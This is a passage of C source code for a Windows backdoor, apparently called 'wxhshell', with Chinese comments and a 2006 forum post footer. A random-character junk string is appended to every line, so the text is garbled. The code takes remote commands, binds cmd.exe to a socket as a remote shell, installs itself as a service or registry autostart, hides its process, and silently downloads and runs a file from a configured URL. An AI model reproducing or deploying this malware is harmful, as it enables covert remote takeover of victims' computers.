      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V+O"j^Z_J  
    break; 9K1oZ?)_z  
  } %2v4<icvq  
  // 安装 L|p Z$HB  
  case 'i': { Ol!ntNhXm  
    if(Install()) _%QhOY5tv"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Fe34n]m  
    else `r?7oxN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4kMM*D  
    break; ,G)r=$XU  
    } T#>7ub  
  // 卸载 *QH28%^  
  case 'r': { 1dK*y'rx  
    if(Uninstall()) -Z's@'*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VNY%R,6  
    else <>Hj ;q5p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (DI>5.x"  
    break; 6'FdGS  
    } qT+%;(  
  // 显示 wxhshell 所在路径 MdW]MW{  
  case 'p': { &Y }N|q-  
    char svExeFile[MAX_PATH]; irfp!(r  
    strcpy(svExeFile,"\n\r"); 9Q"'" b*?z  
      strcat(svExeFile,ExeFile); >3Eo@J,?d  
        send(wsh,svExeFile,strlen(svExeFile),0); I"GB <oB  
    break; EVGt 5z  
    } +llR204  
  // 重启 !jTcsN%  
  case 'b': { d QqK^#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oeok ;:  
    if(Boot(REBOOT)) `^)jLuyu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' ET~  
    else { :2ED jW  
    closesocket(wsh); 2 O%`G+\)  
    ExitThread(0); ;5)P6S.D  
    } ]?(-[  
    break; B8}Nvz /  
    } %rv7Jy   
  // 关机 t;}:waZD  
  case 'd': { (=om,g}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _WRFsDZ'  
    if(Boot(SHUTDOWN)) B\XKw'   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sc}~8T  
    else { z*!%g[3I  
    closesocket(wsh); I"A_b}~*}  
    ExitThread(0); GaK-t*Q  
    } e7sp =I ,  
    break; <P=twT;P  
    } qHrc9fB  
  // 获取shell +8RgF   
  case 's': { p"KFJ  
    CmdShell(wsh); ++^l]8  
    closesocket(wsh); B&n<M]7  
    ExitThread(0); ]jo1{IcI  
    break; 0E3[N:s  
  } 0"pAN[=K@  
  // 退出 !]=d-RGNe  
  case 'x': { sG92XJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6;ixa hZV  
    CloseIt(wsh); TOB]IrW  
    break; {A05u3}  
    } 'ZDp5pCC;  
  // 离开 LhA/xf  
  case 'q': { 75XJL;W #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kH G"XTL  
    closesocket(wsh); Q$zO83  
    WSACleanup(); &B6Ep6QS  
    exit(1); (pv+c,  
    break; 6G[4rD&  
        } *GL/aEI<$  
  } ~T1 XLu  
  } M`,)wi  
zem8G2#c  
  // 提示信息 "eB$k40-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uM_wjP  
} @`q:IIgW  
  } h4 T5+~rw  
Bu#VMk chJ  
  return; wAf\|{Vn  
} qVH1}9_  
.\)U@L~  
// shell模块句柄 NQJq6S4@  
int CmdShell(SOCKET sock) [OC5l>  
{ E2R&[Q"%  
STARTUPINFO si; X\{LnZ@r4  
ZeroMemory(&si,sizeof(si)); < t,zaIi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; leTf&W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  W\d{a(*  
PROCESS_INFORMATION ProcessInfo; =T HpdtL  
char cmdline[]="cmd"; fSK]|"c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JB<Sl4  
  return 0; um!J]N^  
} Rh_np  
O$_)G\\\m  
// 自身启动模式 |)(VsVG&  
int StartFromService(void) E&2OD [iX  
{ S4Y&  
typedef struct l]Ax:Z  
{ UC]\yUK1J  
  DWORD ExitStatus; 0IBhb(X  
  DWORD PebBaseAddress; Lr$go6s  
  DWORD AffinityMask; dfKF%27  
  DWORD BasePriority; pNepC<rY  
  ULONG UniqueProcessId; xhV O3LW'  
  ULONG InheritedFromUniqueProcessId; jB%lB1Q|  
}   PROCESS_BASIC_INFORMATION; n<O}hM ZT  
2bw_IT  
PROCNTQSIP NtQueryInformationProcess; !dyXJ Q  
k_ & :24Lj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mr*JJF0Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ON=@ O  
(^T F%(H  
  HANDLE             hProcess; 5:Z0Pt  
  PROCESS_BASIC_INFORMATION pbi; g jDh?I  
1OCeN%4]Qk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o<BOYrS  
  if(NULL == hInst ) return 0; k/#&qC>]  
mF*2#]%dx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0D\#Pq v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I,>- tGK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e:fy#,HEj{  
e!N:,`R 5  
  if (!NtQueryInformationProcess) return 0; n.!#P|  
*W,]>v0%T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .}t~'*D  
  if(!hProcess) return 0; ]O+Ma}dxz:  
uki#/GzaO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _=_Px@<Q  
,k )w6)  
  CloseHandle(hProcess); U}yW<#$+  
T!+5[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QM5R`i{r  
if(hProcess==NULL) return 0; ;RDh ~EV  
@XLy7_}  
HMODULE hMod; ` Q|*1  
char procName[255]; [Dk=? +  
unsigned long cbNeeded; KHe=O1 %QO  
*X'Y$x>f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); adCU61t  
`^u>9v-+'  
  CloseHandle(hProcess); XG{{ 2f  
$$|rrG  
if(strstr(procName,"services")) return 1; // 以服务启动 Cn'(<bl  
*SU\ABcov  
  return 0; // 注册表启动 U`R5'Tf;  
} ZZ2vvtlyG  
`Nz/O h7  
// 主模块 /oR0+sH]  
int StartWxhshell(LPSTR lpCmdLine) Dv|#u|iw  
{ @mOH"acGn?  
  SOCKET wsl; k;K)xb[w|  
BOOL val=TRUE; U 9_9l7&r  
  int port=0; "+kL )]  
  struct sockaddr_in door; fkuLj%R  
ii[F]sR\  
  if(wscfg.ws_autoins) Install(); qkt0**\  
Y2a5bc P  
port=atoi(lpCmdLine); zKw`Md  
.a O,8M  
if(port<=0) port=wscfg.ws_port; u$DHVRrF<  
Wvbf"hq  
  WSADATA data; kpJ@M%46  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UtPLI al  
F_w Z"e6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x2OaPlG,&V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N4^-`  
  door.sin_family = AF_INET; m? eiIrMW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q$I;dOCJ,  
  door.sin_port = htons(port); 5b*M*e&=C  
K{&mI/ ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wW7eT~w  
closesocket(wsl); f!\lg  
return 1; `|6'9  
} WKC.$[ T=  
ve MH  
  if(listen(wsl,2) == INVALID_SOCKET) { /qMG=Z  
closesocket(wsl); "@%7-nu  
return 1; 0H6(EzN  
} LxYrl-  
  Wxhshell(wsl); }SX,^|eN  
  WSACleanup(); ?u{~>  
F<n3  
return 0; pf1BN@ t  
U &C!}  
} o|>'h$  
Sh/T,  
// 以NT服务方式启动 3kw,(-'1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f[@77m*  
{ s3~lT.  
DWORD   status = 0; &M46&^Jho  
  DWORD   specificError = 0xfffffff; pOGeru u?  
v=0(~<7B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gRCdY8GH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6g|*`x{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *!q1Kr6r  
  serviceStatus.dwWin32ExitCode     = 0; bSiYHRH.e  
  serviceStatus.dwServiceSpecificExitCode = 0; #r#1JtT  
  serviceStatus.dwCheckPoint       = 0; T=iJGRctB  
  serviceStatus.dwWaitHint       = 0; d;zai]]  
Wr<j!>J6Ki  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G/b^|;41  
  if (hServiceStatusHandle==0) return; #yI mKEYX  
k9k XyX[  
status = GetLastError(); _2h S";K  
  if (status!=NO_ERROR) {9?JjA  
{ C>-aIz!y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iL7DRQ1  
    serviceStatus.dwCheckPoint       = 0; R9'b-5q  
    serviceStatus.dwWaitHint       = 0; Jy)KqdkX+  
    serviceStatus.dwWin32ExitCode     = status; OBMTgZHxv  
    serviceStatus.dwServiceSpecificExitCode = specificError; kO,zZF&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V}J)\VZ2#  
    return; <vUbv   
  } Z3#P,y9@  
KV}FZ3jY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qs1 ?IYD  
  serviceStatus.dwCheckPoint       = 0; 4A8;tU$&  
  serviceStatus.dwWaitHint       = 0; ?%O(mC]u&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); syWG'( >  
} ~k!j+>yT  
4,sJE2"[9  
// 处理NT服务事件,比如:启动、停止 \?Z{hmN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q3 u8bx|E  
{ FoNSM$x  
switch(fdwControl) 2/?`J  
{ 8VeQ-#7M/  
case SERVICE_CONTROL_STOP: -7*ET3NSI/  
  serviceStatus.dwWin32ExitCode = 0; v/](yT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [Yo,*,y31  
  serviceStatus.dwCheckPoint   = 0; :e_V7t)o  
  serviceStatus.dwWaitHint     = 0; d@ i}-;  
  { }j^i}^Du,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N9jH\0nG  
  } kddZZA3`  
  return; 7Nk!1s :  
case SERVICE_CONTROL_PAUSE: }RzWJ@QD<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VRI0W`  
  break; Jbjmv: db  
case SERVICE_CONTROL_CONTINUE: [Grxw[(_:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T+*%?2>q"  
  break; 6%t1bM a  
case SERVICE_CONTROL_INTERROGATE: !D@ZYK;  
  break; i&5XF  
}; H=g`hF]`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G+%zn|  
} M@`;JjtSA  
pk^K:Xs}  
// 标准应用程序主函数 ;g@4|Ro  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T?x[C4wf+  
{ 8dO!  
=-8bsV/l  
// 获取操作系统版本 ;LG#.~f  
OsIsNt=GetOsVer(); S'4(0j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rf?qdd(~cH  
yUZb #%n  
  // 从命令行安装 O!P H&;H  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Lm$i6E <  
:<hXH^n  
  // 下载执行文件 F @mQQ  
if(wscfg.ws_downexe) { r~/   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?)kGA$m#  
  WinExec(wscfg.ws_filenam,SW_HIDE); i(AT8Bo2  
} _JHd9)[  
VtnRgdJ  
if(!OsIsNt) { `+o 2DA)#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 cl]Mi "3_  
HideProc(); 5_- (<B  
StartWxhshell(lpCmdLine); v*r7Zz6l  
} ToJ$A`_!`  
else s$cK(S#  
  if(StartFromService()) b6U2GDm\s  
  // 以服务方式启动 Y&S24aql  
  StartServiceCtrlDispatcher(DispatchTable); #:[t^}  
else qv]}$WU  
  // 普通方式启动 bmfI~8  
  StartWxhshell(lpCmdLine); ' 0J1vG~c  
g]4(g<:O  
return 0; >Db;yC&  
}
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只看该作者 1 发表于: 2006-10-10
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